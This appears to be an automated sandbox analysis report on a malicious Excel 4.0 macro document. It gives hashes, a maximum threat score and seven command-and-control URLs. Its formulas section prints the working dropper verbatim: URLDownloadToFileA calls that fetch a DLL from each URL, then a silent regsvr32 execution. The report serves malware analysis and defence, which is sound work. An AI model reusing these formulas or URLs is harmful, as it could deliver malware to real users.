6128b0e7ccab48b6b697fa7a974729023bd33ae6746e7e09a4ddcd29e538ae46

General

Target

6128b0e7ccab48b6b697fa7a974729023bd33ae6746e7e09a4ddcd29e538ae46
Size

21KB
Sample

241120-z8v23stmey
MD5

f95853418467b147f4edc735449b9bd9
SHA1

57ce786ec7d688454d92608025cc60569b10b91b
SHA256

6128b0e7ccab48b6b697fa7a974729023bd33ae6746e7e09a4ddcd29e538ae46
SHA512

1bb204a696fc4b7c7a93a963c1b89cd9a808695172c566ffb27ca8f340875f209c8bb3a26544aebb517649a5a003fb335aeb5dc7996c4fbe114ff4ce582cf6fe
SSDEEP

384:JDfknuAi/NjA2S8EibbwBlwW5SYrLb5CzgObff9kC+xbX7sbEtF:F4sN3zXuFCBn9kC+xbLb

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://buchhave.net/cache/t82rF5S/

https://www.bellaitaliatour.com/gite/YcFHn/

http://brainora.com/brand/Xf7eDVe/

http://breustchabrierarchitectes.fr/bca/CW5pD/

https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/

http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/

http://bestsafe.co.uk/cgi-bin/S29alEny/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buchhave.net/cache/t82rF5S/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bellaitaliatour.com/gite/YcFHn/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brainora.com/brand/Xf7eDVe/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://breustchabrierarchitectes.fr/bca/CW5pD/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bestsafe.co.uk/cgi-bin/S29alEny/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://buchhave.net/cache/t82rF5S/

xlm40.dropper

https://www.bellaitaliatour.com/gite/YcFHn/

xlm40.dropper

http://brainora.com/brand/Xf7eDVe/

xlm40.dropper

http://breustchabrierarchitectes.fr/bca/CW5pD/

xlm40.dropper

https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/

xlm40.dropper

http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/

xlm40.dropper

http://bestsafe.co.uk/cgi-bin/S29alEny/